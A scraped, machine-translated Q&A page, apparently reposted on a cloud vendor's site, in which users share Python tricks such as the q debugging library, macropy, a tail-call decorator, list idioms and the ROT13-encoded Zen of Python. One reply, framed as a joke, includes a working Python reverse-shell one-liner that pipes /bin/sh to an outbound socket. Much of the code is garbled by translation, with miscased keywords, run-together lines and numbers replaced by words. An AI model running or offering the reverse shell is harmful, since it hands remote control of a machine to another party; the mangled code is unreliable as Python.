What are some of the Python code tricks you've seen that amaze you?

Source: Internet
Author: User
The question of the base friend
Have you seen any Java code tricks that have stunned you? -Java
What are some of the C + + code tricks you've seen that amaze you? -Internet
Have you ever seen a front-end design that makes you jaw-dropping? -Programmer
Have you seen any of the JavaScript code-machine tricks that have amazed you? -Programmer
Have you seen any crawler tricks that have stunned you? -Computer

Neurological problems, non-programmers welcome to answer together
Have you seen any of the divine logic that has stunned you? -Life
Have you seen any black dishes that you've been stunned by?
What have you seen that makes you jaw-dropping?
There are many more, welcome to all the series

Reply content:

When I saw this, I thought it was quite jaw-dropping: https:// pypi.python.org/pypi/q
quick-and-dirty debugging output for tired programmers
As the introduction says, Quick-and-dirty,quick-and-dirty. At first glance, I just think this is very convenient, but think carefully how to achieve, really ... It's All Black tech ...

For the simplest use of Q, print the value of foo:
It makes me feel jaw-dropping to count this Python library, is really the import hook to use the ultimate:
Lihaoyi/macropy GitHub

You asked me what the fuck was that?
Come and see some examples:

better use of lambda expressions
 from Macropy.quick_lambda Import Macros, F, _Print Map(F[_ + 1], [1, 2, 3])    # [2, 3, 4]Print Reduce(F[_ * _], [1, 2, 3]) # 6
I remember when I studied how bad Python was when it came to recursive support, and I found out that someone had a very hack way of decorating the tail recursion. Stack frame clear.。 However, I still can't understand what it is written.
Import SYS    class tailrecurseexception:    def __init__( Self, args, Kwargs):       Self.args = args       Self.Kwargs = Kwargs    def tail_call_optimized(g):    """  This function decorates a function with tail calloptimization. It does throwing an exceptionif it is it ' s own grandparent, and catching suchexceptions to fake the tail call optimization.     This function fails if the decoratedfunction recurses in a non-tail context.   """    def func(*args, **Kwargs):      F = SYS._getframe()      if F.F_back  and F.F_back.F_back  and F.F_back.F_back.F_code == F.F_code:        Raise tailrecurseexception(args, Kwargs)      Else:         while 1:          Try:            return g(*args, **Kwargs)          except tailrecurseexception, e:            args = e.args            Kwargs = e.Kwargs    func.__doc__ = g.__doc__    return func
Thank you, I'm a shameless one today.
Dwarfartisan/pyparsec GitHub

Don't fight! Don't hit the face! Let me bounce a shell first, calm down.
import socket,subprocess,oss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("",12345))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"]);
Before on GitHub saw someone summarizing some python tricks
Brennerm/pytricks GitHub >>> a = [],
>>> A
([],) >>> a = [[1,2],[3,4],[5,6]]
>>> sum (a,[])
[1, 2, 3, 4, 5, 6]

Python is really fantastic:)
Add one more, Python slice:
>>> L = [n/A]
>>> l[1:1] = ' a '
>>> L
[1, ' A ', 2, 3]

Python Group list:
>>> a = [1, 2, 3, 4, 5, 6]
>>> Zip (* ([ITER (a)] * 2))
[(1, 2), (3, 4), (5, 6)] a few years ago when I was learning python, I made a few small attempts at a project.

Dynamically generate classes with meta-programming to generate dynamic load offload later.

Use the class as a function. Use the function as a variable.

Tricks to play with the container.

Neatly wrapped up a variety of scripts written by several other EE engineers.

Complete annotation, concise structure. is not a performance bottleneck, so performance is not within the scope of consideration.

The result was "senior engineer" scolded as a dog, bitter to return to C + +. In fact, he did not use any language other than C + +, his logic is C + + is the basis of all languages, he can not understand the code is not good code. →_→, this is a piece of the standard library, and it makes me jaw-dropping.
s = "" " Gur Mra bs clguba, ol Gvz crgrefornhgvshy VF orggre guna htyl.RKCYVPVG VF orggre guna VZCYVPVG.Fvzcyr VF orggre guna Pbzcyrk.Pbzcyrk VF orggre guna pbzcyvpngrq.syng VF orggre guna arfgrq.fcnefr VF orggre guna Qrafr.ernqnovyvgl PBHAGF.fcrpvny pnfrf nera ' G fcrpvny rabhtu gb oernx gur ehyrf.Nygubhtu cenpgvpnyvgl orngf chevgl.reebef fubhyq arire cnff fvyragyl.Hayrff rkcyvpvgyl Fvyraprq.Va gur snpr bs nzovthvgl, ERSHFR gur grzcgngvba gb Thrff.gurer fubhyq or bar--naq cersrenoyl bayl bar--BOIVBHF Jnl GB QB VG.Nygubhtu Gung Jnl znl ABG or BOIVBHF ng svefg Hayrff lbh ' er qhgpu.Abj VF orggre guna arire.Nygubhtu arire VF bsgra orggre guna *evtug* abj.Vs gur vzcyrzragngvba vf uneq gb Rkcynva, vg ' F n onq vqrn.Vs gur vzcyrzragngvba vf rnfl gb Rkcynva, vg ZNL or n tbbq vqrn.anzrfcnprf ner Bar Ubaxvat terng vqrn--YRG ' F QB zber BS gubfr! " "D = {} for C inch ( $,  the):     for I inch Range( -):        D[CHR(I+C)] = CHR((I+ -) %  - + C)Print "".Join([D.Get(C, C)  for C inch s])
  • Related Article

    Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.